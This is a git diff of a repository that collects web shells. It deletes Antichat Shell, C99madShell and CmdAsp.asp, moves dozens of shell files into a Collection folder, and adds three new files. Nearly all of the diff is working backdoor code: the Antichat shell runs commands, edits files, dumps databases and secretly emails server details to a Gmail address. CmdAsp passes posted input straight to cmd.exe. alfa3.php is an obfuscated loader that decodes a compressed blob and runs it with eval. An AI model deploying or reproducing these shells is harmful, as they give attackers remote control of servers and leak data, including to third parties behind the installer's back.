"; -@$inside=$_POST['inside']; -@$tbl=$_POST['tbl']; -if($inside){ -$content.= ""; - -mysql_select_db($db) or die(mysql_error()); -$c=mysql_query ("SELECT COUNT(*) FROM $tbl"); -$cfa=mysql_fetch_array($c); -mysql_free_result($c); -$content.= "�����: $cfa[0] - - -��: -��: - - - - - - - - - - - -"; -@$vn=$_POST['vn']; -@$from=$_POST['from']; -@$to=$_POST['to']; -@$from=$_POST['from']; -@$to=$_POST['to']; -if(!isset($from)){$from=0;} -if(!isset($to)){$to=50;} -$query = "SELECT * FROM $vn LIMIT $from,$to"; -$result = mysql_query($query); -for ($i=0;$i$lee) { -$nst_inside=htmlspecialchars($lee); -$content.= "\r\n"; -} -} -mysql_free_result($result); -$content.= "
 $nst_inside
"; -}}} - -//end function - -?>
.| Shell |. .| Viewer |..| Editor |..| Upload |..| Brute |..| Mysql Dumper|..| Php Eval |..| <-back |..| forward->|.

Safe mode:
Disable functions:
OS:
Server:
Id:

Status:
-
| COPYRIGHT BY ANTICHAT.RU | Made by Grinay | Modified by Go0o$E |
diff --git a/Antichat_Shell_v1.3.php b/Antichat_Shell_v1.3.php deleted file mode 100644 index 72ea5cb..0000000 --- a/Antichat_Shell_v1.3.php +++ /dev/null @@ -1,180 +0,0 @@ -BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}'; -$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; -$footer=''; -$sd98 = "john.barker446@gmail.com"; -$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98"); -if(@$_POST['action']=="exit")unset($_SESSION['an']); -if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1'; - -if($_SESSION['an']==0){ -echo $header; -echo '
Login:
Password:
'; -echo $footer; -exit;} - -if($_SESSION['action']=="")$_SESSION['action']="viewer"; -if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action']; -if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir']; -if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";} - - -//downloader -if($action=="download"){ -header('Content-Length:'.filesize($file).''); -header('Content-Type: application/octet-stream'); -header('Content-Disposition: attachment; filename="'.$file.'"'); -readfile($file); -} -//end downloader -?> - - -
- - - - - -
| Shell | Viewer| Editor| EXIT |

-
- - - -
- -
- - - -
-
-";} -//end shell - -//viewer FS -function perms($file) -{ - $perms = fileperms($file); - if (($perms & 0xC000) == 0xC000) {$info = 's';} - elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} - elseif (($perms & 0x8000) == 0x8000) {$info = '-';} - elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} - elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} - elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} - elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} - else {$info = 'u';} - $info .= (($perms & 0x0100) ? 'r' : '-'); - $info .= (($perms & 0x0080) ? 'w' : '-'); - $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); - $info .= (($perms & 0x0020) ? 'r' : '-'); - $info .= (($perms & 0x0010) ? 'w' : '-'); - $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); - $info .= (($perms & 0x0004) ? 'r' : '-'); - $info .= (($perms & 0x0002) ? 'w' : '-'); - $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); - return $info; -} - -function view_size($size) -{ - if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} - elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} - elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} - else {$size = $size . " B";} - return $size; -} - -function scandire($dir){ - $dir=chdir($dir); - $dir=getcwd()."/"; - $dir=str_replace("\\","/",$dir); -if (is_dir($dir)) { - if (@$dh = opendir($dir)) { - while (($file = readdir($dh)) !== false) { - if(filetype($dir . $file)=="dir") $dire[]=$file; - if(filetype($dir . $file)=="file")$files[]=$file; - } - closedir($dh); - @sort($dire); - @sort($files); - -echo ""; -echo ""; -if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { -echo ""; -} -echo " -"; -for($i=0;$i'; - } -for($i=0;$i - -'; -} -echo "
Open directory:
Select drive:"; -for ($j=ord('C'); $j<=ord('Z'); $j++) - if (@$dh = opendir(chr($j).":/")) - echo ' '.chr($j).''; - echo "
OS: ".@php_uname()."
name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).' -D -E
"; -}}} - -if($action=="viewer"){ -scandire($dir); -} -//end viewer FS - -//editros -if($action=="editor"){ - function writef($file,$data){ - $fp = fopen($file,"w+"); - fwrite($fp,$data); - fclose($fp); - } - function readf($file){ - if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else { - $contents = fread($le, filesize($file)); - fclose($le);} - return htmlspecialchars($contents); - } -if($_POST['save'])writef($file,$_POST['data']); -echo "
- - -
-
"; -} -//end editors -?> -
COPYRIGHT BY ANTICHAT.RU
- diff --git a/C99madShell v. 2.0 madnet edition.php b/C99madShell v. 2.0 madnet edition.php deleted file mode 100644 index 8d95cd4..0000000 --- a/C99madShell v. 2.0 madnet edition.php +++ /dev/null @@ -1,7 +0,0 @@ - \ No newline at end of file diff --git a/CmdAsp.asp.php.txt b/CmdAsp.asp.php.txt deleted file mode 100644 index 169cf7a..0000000 --- a/CmdAsp.asp.php.txt +++ /dev/null @@ -1,55 +0,0 @@ -<++ CmdAsp.asp ++> -<%@ Language=VBScript %> -<% -' --------------------o0o-------------------- -' File: CmdAsp.asp -' Author: Maceo -' Release: 2000-12-01 -' OS: Windows 2000, 4.0 NT -' ------------------------------------------- - -Dim oScript -Dim oScriptNet -Dim oFileSys, oFile -Dim szCMD, szTempFile - -On Error Resume Next - -' -- create the COM objects that we will be using -- ' -Set oScript = Server.CreateObject("WSCRIPT.SHELL") -Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") -Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") - -' -- check for a command that we have posted -- ' -szCMD = Request.Form(".CMD") -If (szCMD <> "") Then - -' -- Use a poor man's pipe ... a temp file -- ' -szTempFile = "C:\" & oFileSys.GetTempName( ) -Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) -Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) - -End If - -%> - - -
" method="POST"> - - -
-
-<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
-
-<% -If (IsObject(oFile)) Then -' -- Read the output from our command and remove the temp file -- ' -On Error Resume Next -Response.Write Server.HTMLEncode(oFile.ReadAll) -oFile.Close -Call oFileSys.DeleteFile(szTempFile, True) -End If -%> - - -<-- CmdAsp.asp --> diff --git a/529.php b/Collection/529.php similarity index 100% rename from 529.php rename to Collection/529.php diff --git a/AK-74 Security Team Web Shell Beta Version.php b/Collection/AK-74.php similarity index 100% rename from AK-74 Security Team Web Shell Beta Version.php rename to Collection/AK-74.php diff --git a/Ajax_PHP_Command_Shell.php b/Collection/Ajax_PHP_Command_Shell.php similarity index 100% rename from Ajax_PHP_Command_Shell.php rename to Collection/Ajax_PHP_Command_Shell.php diff --git a/Antichat Shell.php b/Collection/Antichat_Shell.php similarity index 100% rename from Antichat Shell.php rename to Collection/Antichat_Shell.php diff --git a/Ayyildiz Tim -AYT- Shell v 2.1 Biz.php b/Collection/Ayyildiz_Tim.php similarity index 100% rename from Ayyildiz Tim -AYT- Shell v 2.1 Biz.php rename to Collection/Ayyildiz_Tim.php diff --git a/CasuS 1.5.php b/Collection/CasuS-1.5.php similarity index 100% rename from CasuS 1.5.php rename to Collection/CasuS-1.5.php diff --git a/CrystalShell v.1.php b/Collection/CrystalShell.php similarity index 100% rename from CrystalShell v.1.php rename to Collection/CrystalShell.php diff --git a/DTool Pro.php b/Collection/DTool_Pro.php similarity index 100% rename from DTool Pro.php rename to Collection/DTool_Pro.php diff --git a/Dive_Shell_1.0_Emperor_Hacking_Team.php b/Collection/Dive_Shell.php similarity index 100% rename from Dive_Shell_1.0_Emperor_Hacking_Team.php rename to Collection/Dive_Shell.php diff --git a/GFS_web-shell_ver_3.1.7_-_PRiV8.php b/Collection/GFS_web-shell.php similarity index 100% rename from GFS_web-shell_ver_3.1.7_-_PRiV8.php rename to Collection/GFS_web-shell.php diff --git a/GRP WebShell 2.0 release build 2018 (C)2006,Great.php b/Collection/GRP_WebShell.php similarity index 100% rename from GRP WebShell 2.0 release build 2018 (C)2006,Great.php rename to Collection/GRP_WebShell.php diff --git a/Gamma Web Shell.php b/Collection/Gamma_Web_Shell.php similarity index 100% rename from Gamma Web Shell.php rename to Collection/Gamma_Web_Shell.php diff --git a/JspWebshell_1.2.php b/Collection/JspWebshell_1.2.php similarity index 100% rename from JspWebshell_1.2.php rename to Collection/JspWebshell_1.2.php diff --git a/KA_uShell 0.1.6.php b/Collection/KA_uShell_0.1.6.php similarity index 100% rename from KA_uShell 0.1.6.php rename to Collection/KA_uShell_0.1.6.php diff --git a/Loaderz WEB Shell.php b/Collection/Loaderz_WEB_Shell.php similarity index 100% rename from Loaderz WEB Shell.php rename to Collection/Loaderz_WEB_Shell.php diff --git a/Macker's Private PHPShell.php b/Collection/Mackers_Private_Shell.php similarity index 100% rename from Macker's Private PHPShell.php rename to Collection/Mackers_Private_Shell.php diff --git a/Moroccan Spamers Ma-EditioN By GhOsT.php b/Collection/Moroccan_Spamers.php similarity index 100% rename from Moroccan Spamers Ma-EditioN By GhOsT.php rename to Collection/Moroccan_Spamers.php diff --git a/MySQL_Web_Interface_Version_0.8.php b/Collection/MySQL_Web_Interface.php similarity index 100% rename from MySQL_Web_Interface_Version_0.8.php rename to Collection/MySQL_Web_Interface.php diff --git a/MyShell.php b/Collection/MyShell.php similarity index 100% rename from MyShell.php rename to Collection/MyShell.php diff --git a/Mysql_interface_v1.0.php b/Collection/Mysql_interface_v1.0.php similarity index 100% rename from Mysql_interface_v1.0.php rename to Collection/Mysql_interface_v1.0.php diff --git a/NCC-Shell.php b/Collection/NCC-Shell.php similarity index 100% rename from NCC-Shell.php rename to Collection/NCC-Shell.php diff --git a/NGH.php b/Collection/NGH.php similarity index 100% rename from NGH.php rename to Collection/NGH.php diff --git a/NTDaddy v1.9.php b/Collection/NTDaddy_v1.9.php similarity index 100% rename from NTDaddy v1.9.php rename to Collection/NTDaddy_v1.9.php diff --git a/Collection/Non-alphanumeric.php b/Collection/Non-alphanumeric.php new file mode 100755 index 0000000..25b1d64 --- /dev/null +++ b/Collection/Non-alphanumeric.php @@ -0,0 +1,11 @@ +>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++ ))].=$_; +$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; +$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); +$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); +$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; +$_=$ +$_[$__+ $__] ;$_[@-_]($_[@!+_] ); + +?> \ No newline at end of file diff --git a/PHANTASMA.php b/Collection/PHANTASMA.php similarity index 100% rename from PHANTASMA.php rename to Collection/PHANTASMA.php diff --git a/PHPRemoteView.php b/Collection/PHPRemoteView.php similarity index 100% rename from PHPRemoteView.php rename to Collection/PHPRemoteView.php diff --git a/PHP Shell.php b/Collection/PHP_Shell.php similarity index 100% rename from PHP Shell.php rename to Collection/PHP_Shell.php diff --git a/PHVayv.php b/Collection/PHVayv.php similarity index 100% rename from PHVayv.php rename to Collection/PHVayv.php diff --git a/PhpSpy Ver 2006.php b/Collection/PhpSpy.php similarity index 100% rename from PhpSpy Ver 2006.php rename to Collection/PhpSpy.php diff --git a/Predator.php b/Collection/Predator.php similarity index 100% rename from Predator.php rename to Collection/Predator.php diff --git a/Rootshell.v.1.0.php b/Collection/Rootshell.v.1.0.php similarity index 100% rename from Rootshell.v.1.0.php rename to Collection/Rootshell.v.1.0.php diff --git a/STNC WebShell v0.8.php b/Collection/STNC_WebShell_v0.8.php similarity index 100% rename from STNC WebShell v0.8.php rename to Collection/STNC_WebShell_v0.8.php diff --git a/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php b/Collection/Safe0ver_Shell.php similarity index 100% rename from Safe0ver Shell -Safe Mod Bypass By Evilc0der.php rename to Collection/Safe0ver_Shell.php diff --git a/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php b/Collection/Safe_Mode_Bypass.php similarity index 100% rename from Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php rename to Collection/Safe_Mode_Bypass.php diff --git a/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php b/Collection/SimAttacker.php similarity index 100% rename from SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php rename to Collection/SimAttacker.php diff --git a/SimShell_1.0_-_Simorgh_Security_MGZ.php b/Collection/SimShell.php similarity index 100% rename from SimShell_1.0_-_Simorgh_Security_MGZ.php rename to Collection/SimShell.php diff --git a/Collection/Simple-Webshell.php b/Collection/Simple-Webshell.php new file mode 100644 index 0000000..86be8ba --- /dev/null +++ b/Collection/Simple-Webshell.php @@ -0,0 +1,75 @@ + + + + + + + + + + + + + + + Web Shell + + + + + + + +
+ +
+

PHP Shell

+

Execute a command

+
+ +
+
+ + +
+ +
+ + +
+

Output

+
+
+
+        
+ +
+

Output

+
+
No result.
+ +
+ + + + diff --git a/Simple_PHP_backdoor_by_DK.php b/Collection/Simple_PHP_backdoor.php similarity index 100% rename from Simple_PHP_backdoor_by_DK.php rename to Collection/Simple_PHP_backdoor.php diff --git a/Sincap 1.0.php b/Collection/Sincap_1.0.php similarity index 100% rename from Sincap 1.0.php rename to Collection/Sincap_1.0.php diff --git a/Small Web Shell by ZaCo.php b/Collection/Small_Web_Shell.php similarity index 100% rename from Small Web Shell by ZaCo.php rename to Collection/Small_Web_Shell.php diff --git a/Uploader.php b/Collection/Uploader.php similarity index 100% rename from Uploader.php rename to Collection/Uploader.php diff --git a/WinX Shell.php b/Collection/WinX_Shell.php similarity index 100% rename from WinX Shell.php rename to Collection/WinX_Shell.php diff --git a/Worse Linux Shell.php b/Collection/Worse_Linux_Shell.php similarity index 100% rename from Worse Linux Shell.php rename to Collection/Worse_Linux_Shell.php diff --git a/ZyklonShell.php b/Collection/ZyklonShell.php similarity index 100% rename from ZyklonShell.php rename to Collection/ZyklonShell.php diff --git a/aZRaiLPhp_v1.0.php b/Collection/aZRaiLPhp_v1.0.php similarity index 100% rename from aZRaiLPhp_v1.0.php rename to Collection/aZRaiLPhp_v1.0.php diff --git a/accept_language.php b/Collection/accept_language.php similarity index 100% rename from accept_language.php rename to Collection/accept_language.php diff --git a/Collection/alfa3.php b/Collection/alfa3.php new file mode 100644 index 0000000..b0d1bd1 --- /dev/null +++ b/Collection/alfa3.php @@ -0,0 +1,10 @@ + 'admin', + 'parXlZbcAeqE' => 'a6f452ec3293d7fb72c5b677257b20ec', + 'saUeBnYDOkGC' => '0', + 'lonPkdrkYzZh' => '403', + 'shxqeIqfLQjb' => '1', + 'povegWrezgpg' => true, +); +$VaMLVObphu='func'.'ti'.'on_'.'ex'.'is'.'ts';$tBpgvucwhO='c'.'harC'.'ode'.'At';$zDgtpriPax='e'.'v'.'a'.'l'.'';$xxzDVVlopE='gz'.'in'.'f'.'late'.'';if(!$VaMLVObphu('b'.'ase64'.'_'.'e'.'nc'.'o'.'d'.'e')){function LSCPsIezrH($data){if(empty($data))return;$b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;$ac = 0;$enc = '';$tmp_arr = array();if(!$data){return $data;}do{$o1 = $tBpgvucwhO($data, $i++);$o2 = $tBpgvucwhO($data, $i++);$o3 = $tBpgvucwhO($data, $i++);$bits = $o1 << 16 | $o2 << 8 | $o3;$h1 = $bits >> 18 & 0x3f;$h2 = $bits >> 12 & 0x3f;$h3 = $bits >> 6 & 0x3f;$h4 = $bits & 0x3f;$tmp_arr[$ac++] = charAt($b64, $h1).charAt($b64, $h2).charAt($b64, $h3).charAt($b64, $h4);} while ($i < strlen($data));$enc = implode($tmp_arr, '');$r = (strlen($data) % 3);return ($r ? substr($enc, 0, ($r - 3)) : $enc).substr('===', ($r || 3));}function charCodeAt($data, $char){ return ord(substr($data, $char, 1));}function charAt($data, $char){return substr($data, $char, 1);}}else{function LSCPsIezrH($s){$b='b'.'ase64'.'_'.'e'.'nc'.'o'.'d'.'e';return $b($s);}}if(!$VaMLVObphu('b'.'ase64_'.'d'.'ec'.'ode')){function kkiSpHkWdw($input){if(empty($input))return;$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";$i = 0;$output = "";$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);do{$enc1 = strpos($keyStr, substr($input, $i++, 1));$enc2 = strpos($keyStr, substr($input, $i++, 1));$enc3 = strpos($keyStr, substr($input, $i++, 1));$enc4 = strpos($keyStr, substr($input, $i++, 1));$chr1 = ($enc1 << 2) | ($enc2 >> 4);$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);$chr3 = (($enc3 & 3) << 6) | $enc4;$output = $output . chr((int) $chr1);if ($enc3 != 64) {$output = $output . chr((int) $chr2);}if ($enc4 != 64) {$output = $output . chr((int) $chr3);}$chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";}while($i < strlen($input));return $output;}}else{function kkiSpHkWdw($s){$b='b'.'ase64_'.'d'.'ec'.'ode';return $b($s);}}$ptssuQbryw='c'.'r'.'eate_'.'fu'.'nct'.'i'.'o'.'n'.'';$JCWUFneENd = $ptssuQbryw('$sG',$zDgtpriPax.'('.$xxzDVVlopE.'('.'k'.'k'.'i'.'S'.'p'.'H'.'kWd'.'w'.'($sG)'.')'.')'.';');$JCWUFneENd("rP1pr/RaliaGffevuEoUXJl9qjtIRsQJElm3pb05bjLIiM2ZbBQSQTKCc0Scw4jYJBsFWJDbsgW02x8ko62WIdsw4IbtlgQbMEqCG/ozlT1800/Q4nlzuDl1ZauVyHPPeTnuYa31PM8eFld/67vP2yv91D6H1qRG/VDOmvdsh+Kj8fyn5dmf7clphgFbSou6R3CYkO5ZaXiqD74823cafagXEukP5Ab79oDMe4nTcjzdu8Dd6xWWx5KU+f27v7X6X6z+1nfJ7fmnn+fv2rrr6mv5XX/+7lSe6ut3/8N/+b//f3yH+u/Id8MDzn0Hh6bb8/O76nwqvvv3v52Ge797Dufiu8ftu64uq8dy+/P+7aRzY8sd3w3V8+t4cWPX7/723/7Ou3XnVz3UWXdeivAfDOdhqG/Xnw2P0+fjxz/56eV5zR9w4Luf/SyNtk0muF1e/vhPhp/8/c/z4/l5/W7vyceBnOdPYzn607/84Q16+HtuaNvauxttVLBvN/yJvj9gtPf+3p8q+GcOstU//Yvvvv/u10cP0cPPcV8cij/9i5/+SV6d8xbOX07dcP5pffnxv1cPw/nx4z/5mad6Hjk4f+9Hp+5y+hkce0ALDj8b6vJ6gheff/QXP/nJ3//V/Y/P5/mnf3mGh/x9eMgfc/d3/9733/XF9sf3z/r6+Nnnj39Puf/s67E/+d33/OXyjq9DcOqPedcf/aqfXm6f51Ne/fj3N9h3p+G7P2nP03ff/93v/uR16uCWv/8n98/zpR7hHcMzGx7weLjgz77j/uw74SdLi/7q/Pff/eg5/Ahu+N3X/z04c/78Kui3x/70D170s8/Ttfh2JbznW5v/1lvupz/0lvtpGP7GtywX/RFvGf7gW4bT5dzfivPf+KZfXvhHvK27/aG3dbeyvv7sfir/5vf9+tI/pn7VH6xfdWM/q/Pb9W9uy19f+sf02x+s4/02PH52vuaf030JBn9zF/7m9b/97r/8bacpsl/5zY9+M1z86qG/8O4/EF7+Tc/76V8+r18x5fe61E9++if/+h//9z//b/7Tf/H//c/+1X/9D7//+T/8D3/+D/7Zv/rv/8nP/7f/v3/1z//f/+If/t9+/Kfv7++79fJ/4X37Lu643XYnvPPrzfv6/bK97Dbv5/fNu7QT/xQe9vP/+J//i//sv/n5P/vHP/8v/un3v/Hov8/95d/5zQPibx/g33/niPA7R7a/c+R3n7P+I568+e0jv/tg6W9+1fpvLt/6L3+NO7+nef/kh8fAAP/6r/4/3//pny6R8Md/8q/+q/8rtOb33E9/8defQ4DrztffuueXZ9++F36y3P53vs+rzx9X57E45z/+ZVT84R1/9osb/kyA6P7TXyDZcucPAO9f/v//j//y//If/vz/9E9/vJz4Fd79Jg4uZ35wz7/+z//Rv/gv/rvfvOH2WfzOdT//3/yDn/9X/+1vXvcfXOru/LPy/PgZuOvjfH0Mv7xtgcXfsKsf/+hX7fvz/+S//Ff/0T//+f/hv/75f/JPfwRI9eui/L4rfvzrjvn5P/rH//o//kf/8j//X//1X/2v/vqv/p/Q7n/o1Pc/aIk/ePsPvOiHL1x67lcn/vqv/u9w6bc7f+MEHPrrv/rf/eahf/JPfn3tj3/Zrn/o9X+P/4uf/Pmfiz95+xsvFH7D4f/6v/tPf/2W9Q9f/w/+2e8v6l//1X/06xP8+29W4uf/4P/1/Y9+9MOr/9v/Mxz+/pdG+0e13tcpMNbvf/YzjezVn/3s9578pQX97qnf+zB4D1QDYn35s/70AH7x6z790X6qWN53z8IY59ww79nVFdPIuWVT+/rRT/7s9zztz37/G77Yy4//QPP++W+3yk9/slC1/Pa8Pn78B573k+/OY/34IjG/vwO+537Dbv/tbOb3l/Pt7Zsp/QFbfPv+3+G5/wY7+svfqOQP3/i/5EaR436zoj/0sH+3im7+kOe+/U9+8F/85O/+3c1PfrPXfvjkH9bkN0LCv0tNoJU47Sdv62+w8W+MLF+H/vz3l+F3rnt7+8lvu/jf+/1h4u23b/2L7//IO//2H+iB33ngHwhQb9//gcr8gjL9z9/av+UgP3zuv5ODvIEn/M/Zgf8WvQWv//7f3tJ/+ofq8m/dVV999d0fW/r/CYWFe/5ATPvzP/+e/wOh6W//7d+Kvj8EzO9/O6T/LolYoKru7x2IrB//6Ed/9tvV+/3A96N//0d/50d/90d/5/ec+xVX+z2n/hL+p75Q9+PfT31+RBFCR0ViJwOVRO96S9a6LMbcGU5YsnsJuNAL29CLpoKEmktjDqGQKmXMaYYbbAOT5+5WPLRFbCOkhxONig6wciYKVyaxOSVxi5Bc1q4gvVJh7EjN6kAY+fwqYziB/NA50F7ikInvSShVee/cTi4qiz6c0AGnSbRt07hErWZWWWQONw9huydyfnXYKaJIlNudbGDA6vAaM4SySOMSobyZk3jd990j18dXisgh9crrRc4HLJX3fZ2/TlQt5YdoCXp5g3JXOEY3xSQv29swolDmyPiQwfMKGevZOnymcn4/COHmFNPdxUMIfo5i3825EHLQToavSjIN4AbNyUzOlWNui/0guMbhcIW2mT6FcFJWqoKgHKhJc9SGOepwjnqCbihC2H3T3lCQ57o25yy4RCyAc6pmsIuA3wKDk4s5cVco7cOHekNazMICfQTalUUXZYeHTCjuWScemYGrVAi0F4skNOTamsUXXOD5pEvrWGhjpjuvrFIuAYuLH5xn2drhYiFAZ33b5NeOFXr3ysrXCtecYqCUT3UNeh53MXD8tNf4zHAvcM0jje8vFeFnGoo18wqcC121593uZEB/DQgZApETvXtC+9cxL2FfTXHM8SqVEW/K2iWeyEB0vnX8aE06RwnaFrsdDmIuNX01kIlH+EEZSgLNfdDgdlSZPrdRxJrM+wY9bZncUX+3aWirZeheKF+oqHaGhIooWRctPP8pIwFh5OwCVQs8TSJe6AQ+b6Zo57CEoqHQq8tJ7+ZCl6YzPa5idtwpmUn9jXzDO6z5reNFIQ7kNrg5MqsdmdZx+LgimYQzEqlZJ1laWhddSOrY56TCMPk0wLcjw+6hT6vMcDqLNiMSk6syuIrPMRmpkhfz4jUOunUuVF2mj5ekl6YKSgq1Lo/+1pJkVJ+EcBsL0Ge6hMyY4KQmja0Gs624WO9QnblbdHLXyNCrIY1sypAx+a1dknqrbpgGTwr9Q43WSK7YWcZzJoz3VIZauaaENbXJouBUGuEzw36JhvYBUeAd3e63U+S2abS9EBtsB1lBEjmf6do0B7q/wLOrU69tFL0Afw0rNFAnaW6lTcuL/In7jA+ZMqlWRwjBFOKDx0pSckq8Tqv8amt0sieHjejg51tawh95OhRRgLd+sqaBqbp31KJzBfZ3UG0F626DGDp1fVrqXNqnz4uCkIr0TdYcKcqpctalh+Ohk0h1Dq1L/Gjut7NYvVJDdXK306A7dISJvnGni/GWPE8oWB1rVHcb9STPQ622Zq376IRkD8npYt9m58y2Ti6rBmW5eZ2Sp5wQn5X9RU5z7Tg9qJyKmWDgdYr6QHPq1Vsk1eBcDI6bV9bXClWX3zE5Uu3AlvuqNr9KaLUuzRfrZ1QQc80gJBXitpl7dfFn+SKab7rvJdE4VHhj7Xv3ngu6OWhSX0TbJhHUF++1sZNrHWLOFK/d7mxQZas46ywKn0UIMfZFlK64PlAh3ZhhH9dsdXYaiojbvzBPmOZtDIuGCam9sURYnQVpuviPPhO23D4uulNU3Aq0ezvUmM/6Ce2hwytN2t/LNHR6rn9MzpFwxR57srvCt4DohyaAuE9UFjgvybRRuVUOJbly2CX1cbWWjcmJpCJnThhsE3Itkxt5iDVHm208Y0V7u7lXP9gahtQks4O5Sr+oacFBvRJKgxSvRGNV57qSBMY6L0XVkYbFp7FEh/3VrTOkIOVIjB27VDRiuaKnlcWIjCcxFmeydv0Ku97thfjbM0kuK0zwBTCBt116abBcWQexHAxDD0Uk8KxeyXv7ftyuB0WCCMNC3YKozBkcq5DZ43ftSgx7pyJugropbYCvVe48k4jvUOYyEmMli/RZNcxXMcWbLZfvL+wxH2tVcDB94YAoobfRVA9zeRmQ4+VNqy7iSlGpYntJiu2giSdnlLFIjAlzdU9zw7AUzAjdltlrHbKDyDLsNsPxwJjKAIOCTtTMmhiZ7KyUbTefYpecq46v+VzLw5VnA6af6bomNTgyYED2qNU4AWiKkWyMPAaf7vonZmlsgu/TyTnrCnFVf1MSDL4NgGHciDeuIT5yKQXpTXVljY5V0oddYeTa6FuqX7QaF2m3N5wctVIaiuNx90lW78wywAvUcl8GpnbmClefE1MsjTW7+E4/HM+PlUii4WhI9sOYuMj4FM+PqHueIu5806Qu1ft3zugAl8S1fiFWwz4UW4/eOF2N8/B+ibrigQu33dPVplibVY75EtrYurC7oHJUKVCnRcLKeOkJnyqvVxqZzXHUGkUJnvIh17TqcYwAih7R6uizc64akr+f1IzUGw1NPPgW9lSw7T1SQ4fgqpV8+ogHZA/1Q79S1R6vr7xuas8dp1QwK0tBAwE6ZUO8sxt7IAp6Hnx61z/FhFVGhKvj/Fbej3Lbi7kiuFnv0090318a23qxjxVjyBoaYrVKoq3mBO4vN/KDzMBT8k/0GeAP2y7r8GgGTLH5uWWGxF4jHciMWNonEF2dC34QP768uSgl7WqCbtzk1oaX6iJ2uTVH1YpeCjuivPMwZqcQeZ6Zq0QYX7kQPPARyiyHug2Qhub5qs+i+VTH7eoJ0DOLTXjVrpfVqkV8QFJN1HRXu+D3qj9FYxezVXGKtn22olewYzcDLHAGURhDUWversf3HNUk9ncE7bdvj4S0YrBaAY7qhZjyMvgz1Rb8fWVHc3Mi7vqqbke8C28natH82t7v+DHh7Wognj065KPN72gNXNK4zhuj68s+mfgD8dgT5/SRjFecAadzFDtZT+0gW+v9C6OzrTi1LWjR5vA6ykQk1Rgpe1fG+6Q8qkervrFLAe1QJAlQ051KdxJ0PEY4qE2lbeh2D5zFgb49BNvamS/dJ3egciiaodDNVmoKTUzH9Xowr7wYuHJQX/DGnV/4eEEBubBqrZzUB/CwIXUmBPhzCmlMfE